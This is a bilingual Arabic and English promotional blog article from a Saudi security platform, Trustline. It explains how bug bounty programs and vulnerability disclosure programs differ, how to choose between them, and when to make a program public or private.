تمكن&nbsp;ترست لاين مساعدة شركات التقنية المالية في المملكة العربية السعودية مثل&nbsp;تمارا&nbsp;،&nbsp;داول&nbsp;،&nbsp;صكوك&nbsp;وغيرها في احتياجاتها السيبرانية من خلال تقديم منتجات متخصصة في حماية الاصول الرقمية.

<ul dir="rtl">
	<li>برامج كشف الثغرات ( VDP ) : برامج توفر هيكلة و آليه عمل واضحة للأشخاص الذين يريدون التبليغ عن ثغرة أمنية تم إيجادها في أحد الأصول الرقمية التابعة لمنشاة</li>
	<li>اختبار الاختراق كخدمة ( PTaaS ): اختبار الاختراق كخدمة هي منهجية حماية مرنة ( Agile ) حيث يتم اختبار التطبيقات والأنظمة بشكل دائم ومستمر للتأكد من عدم تواجد أي ثغرات أمنية.</li>
	<li>برامج مكافأة الثغرات ( Bug Bounty ): برامج تنشئها الشركات أو المنشآت لتحفيز الأشخاص إيجاد ثغرات أمنية على تطبيقاتهم أو أنظمتهم ثم الإبلاغ عنها.</li>
	<li>&nbsp;</li>
</ul>

ترست لاين تساهم في رفع من مستوى الامان لدى المنشات من خلال ربطهم مع مجتمع من الباحثيين الامنيين حيث توفر منصة متكاملة تهدف لإجراء اختبار أمني مستمر وشامل لاصولهم الرقمية. إذا كنت ترغب في متابعة آخر الأخبار، يمكنك متابعتنا على وسائل التواصل الاجتماعي مثل <a href="https://twitter.com/TrustlineSec">تويتر</a> و<a href="https://www.linkedin.com/company/trustlinesec/">لينكد إن</a>، ويمكنك التواصل معنا للاطلاع على حلولنا.

Bug bounties and Vulnerability Disclosure Programs (VDPs) are widely embraced by organizations worldwide. However, many individuals still struggle to grasp their appropriate usage and the differences between them. This article aims to provide clarity by defining bug bounty programs and VDPs and exploring scenarios for public and private program variations.

&nbsp;

<h2>How Are Bug Bounty Programs and Vulnerability Disclosure Programs Different?&nbsp;</h2>

Bug bounties and VDPs share a common goal: collecting vulnerability reports from third parties, including security researchers, ethical hackers, partners, customers, or concerned citizens. These programs involve rules of engagement, a specified scope, a submission process (often through a web form), and an evaluation and response mechanism. Both aim to establish an official channel for submitting vulnerabilities, ensuring finders are not discouraged or ignored when reporting them.The primary distinction between bug bounties and VDPs lies in their incentive models. Bug bounties offer monetary rewards, known as bounties, for valid submissions, motivating individuals to submit vulnerabilities. In contrast, VDPs primarily express appreciation and recognition towards finders, treating their contributions more as voluntary efforts. While some VDPs may offer small tokens of gratitude like merchandise, these are gestures of thanks rather than incentives.

&nbsp;

<h2>How Do You Decide if You Should Run a Bug Bounty Program, a Vulnerability Disclosure Program, or Both?</h2>

Determining whether to implement a bug bounty program, a VDP, or both depends on various factors. Organizations starting with a VDP often seek a simple means of receiving reports from third parties or complying with government regulations. Conversely, organizations opting for bug bounties are typically more advanced, aiming to incentivize hackers to actively search for vulnerabilities in their applications, e-commerce sites, or cloud infrastructure.Organizations with both a bug bounty program and a VDP will likely have different scopes for each. For example, all web domains may be in the scope of a VDP, where only certain applications will be part of the bug bounty. VDPs provide wide coverage, while bug bounties encourage targeted testing.

&nbsp;

<h2>What Are Public and Private Programs?&nbsp;</h2>

Public and private programs refer to the accessibility of the programs to participants. Public programs enable anyone to submit reports and are commonly listed in directories or on the organization&#39;s website. In contrast, private programs restrict submissions to selected individuals, providing more control and preserving confidentiality. Organizations often begin with a private program to manage submission volumes and safeguard vulnerabilities before expanding into a public program to encourage broader participation and coverage.&nbsp;

&nbsp;

<h2>Why Make a Program Private?&nbsp;</h2>

Organizations may start with a private program to ensure their internal resources can handle the submission volume. It also protects them from revealing vulnerabilities to an unknown range of finders. Private programs are suitable for sensitive assets requiring strict access controls or new assets requiring testing before a public release. In some cases, organizations may want submissions only from hackers with specific expertise. Private VDPs can be appropriate when organizations only want to hear about vulnerabilities from partners or customers.

&nbsp;

Bug bounties and VDPs are valuable tools for organizations to receive vulnerability reports and enhance their security. Choosing between bug bounties, VDPs, or a combination of both, as well as deciding whether to make the program public or private, depends on an organization&#39;s specific goals, attack surface understanding, risk tolerance, and other factors shaping their overall security strategy. To effectively manage attack resistance, Trustline offers solutions such as Trustline Bounty and Trustline Disclosure, facilitating the identification of critical vulnerabilities and closing security gaps.

&nbsp;

Trustline is the first security platform that combines hackes with businesses. If you would like to keep up on the latest news, follow us on social media <a href="http://twitter.com/TrustlineSec">Twitter</a>, <a href="http://www.linkedin.com/company/trustlinesec/">LinkedIn</a>&nbsp;and <a href="mailto:https://www.trustline.sa/contact-us">contact us</a> today to launch your first bug bounty program.

برامج مكافأة الثغرات وبرامج الافصاح عن الثغرات هي برامج تتبناها الشركات في جميع أنحاء العالم. ومع ذلك، لا يزال العديد من الأشخاص يجدون صعوبة في فهم كيفية استخدامها بشكل مناسب والفروقات بينهما. يهدف هذا المقال إلى توضيح مفهوم برامج مكافأة الثغرات وبرامج الافصاح عن الثغرات واستكشاف أوجه التنوع بين البرامج العامة والخاصة.

&nbsp;

<h2 dir="rtl">ما هي الاختلافات بين برامج مكافأة الثغرات وبرامج الافصاح عن الثغرات؟</h2>

تشترك برامج مكافأة الثغرات وبرامج الافصاح عن الثغرات في هدف مشترك، وهو جمع تقارير الثغرات من طرف ثالث، بما في ذلك الباحثين الأمنيين في مجال الأمن السيبراني، والهاكرز الأخلاقيين. تتضمن هذه البرامج نطاق محدد للاختبار، وعملية تقديم تقارير واضحة ومفصلة (عادةً من خلال نموذج ويب)، وآلية للتقييم والاستجابة لهذه التقارير. تهدف هذه البرامج إلى ضمان وجود آلية معينة للأطراف الثالثة تسمح لهم بتقديم التقارير عن الثغرات التي يجدونها وضمان وصولها للأشخاص المعنيين.&nbsp;يكمن الاختلاف الرئيسي بين برامج مكافأة الثغرات وبرامج الإفصاح عن في آلية الحوافز. تقدم برامج مكافأة الثغرات مكافآت مالية للتقارير الصحيحة، مما يحفز الأفراد على تقديم التقارير عن الثغرات. بينما تعبر برامج الإفصاح عن الثغرات في المقام الأول عن الامتنان والتقدير تجاه المكتشفين، حيث يُعتبر تقديمهم للثغرات مساهمة تطوعية. على الرغم من أن بعض برامج قد تقدم رموز تقدير بسيطة مثل السلع التذكارية، التي تعد لفتات شكر بدلاً من الحوافز المالية.

&nbsp;

<h2 dir="rtl">كيف تقرر ما هو الافضل لك برنامج مكافأة الثغرات، أو برنامج الافصاح عن الثغرات، أو كلاهما؟&nbsp;</h2>

تسعى الشركات التي تبدأ ببرنامج الإفصاح عن الثغرات إلى الحصول على وسيلة بسيطة لاستقبال التقارير الأمنية من الأطراف الثالثة أو الامتثال للتشريعات الحكومية. وعلى العكس من ذلك، تختار المؤسسات التي تنفذ برامج مكافأة الثغرات مستوىً متقدمًا، بهدف تحفيز الهاكرز الأخلاقيين على البحث النشط عن الثغرات في تطبيقاتها و جميع أصولها الرقمية.من المرجح أن تكون لدى الشركات التي تمتلك برنامج مكافأة الثغرات وبرنامج الإفصاح عن الثغرات نطاقات مختلفة لكل منهما. على سبيل المثال، قد يكون جميع نطاقات الويب ضمن نطاق برنامج الافصاح، في حين تكون تطبيقات معينة اكثر حساسية فقط جزءًا من برامج المكافأة. توفر برامج الافصاح تغطية واسعة، بينما تشجع برامج المكافأة على الاختبار المستهدف.&nbsp;

&nbsp;

<h2 dir="rtl">ما هي البرامج العامة والخاصة؟&nbsp;</h2>

البرامج العامة والخاصة تشير إلى إمكانية الوصول إلى البرامج من قبل المشاركين. تتيح البرامج العامة لأي شخص تقديم التقارير، وعادة ما يتم إدراجها على موقع الشركة. بالمقابل، تقيد البرامج الخاصة تقديم التقارير لأفراد محددين فقط، مما يوفر المزيد من التحكم والحفاظ على السرية. في كثير من الأحيان، تبدأ الشركات ببرنامج خاص لإدارة حجم التقارير وحماية الثغرات قبل التوسع في برنامج عام لتشجيع المشاركة والتغطية الأوسع.

&nbsp;

<h2 dir="rtl">لماذا تجعل البرنامج خاصًا؟ وما هو المغزى من البرامج الخاصة؟&nbsp;</h2>

قد تبدأ الشركات ببرنامج خاص لضمان قدرة مواردها الداخلية على التعامل مع حجم التقارير. تعتبر البرامج الخاصة مناسبة للأصول الحساسة التي تتطلب ضوابط وصول صارمة أو الأصول الجديدة التي تتطلب اختبارًا قبل الاطلاق العام. في بعض الحالات، قد ترغب الشركات في تلقي التقارير فقط من الهاكرز ذوي خبرات محدده.

&nbsp;

ترست لاين تساهم في رفع مستوى الامان لدى المنشات من خلال جمعهم مع مجتمع من الباحثين الامنيين. إذا كنت ترغب في متابعة آخر الأخبار، يمكنك متابعتنا على وسائل التواصل الاجتماعي مثل <a href="http://twitter.com/TrustlineSec">تويتر</a> و<a href="http://www.linkedin.com/company/trustlinesec/">لينكد إن</a>، ويمكنك <a href="https://www.trustline.sa/ar/contact-us">التواصل معنا</a> للاطلاع على حلولنا.

Hacker

Where hackers earn, learn and collaborate

Hacker

Where hackers earn, learn and collaborate

Hack the planet

Build your hacking resume

Number for hackers

Join our hacking community

10+

500+

100+

Newsletter

Resources

Community Write-ups

What Are Bug Bounties? How to Leverage Collective Power of the Hacker Community?

May 18, 2023

DataBreach Challenge Writeup

February 4, 2024

Exploring Pentesting and BugBounty

April 23, 2024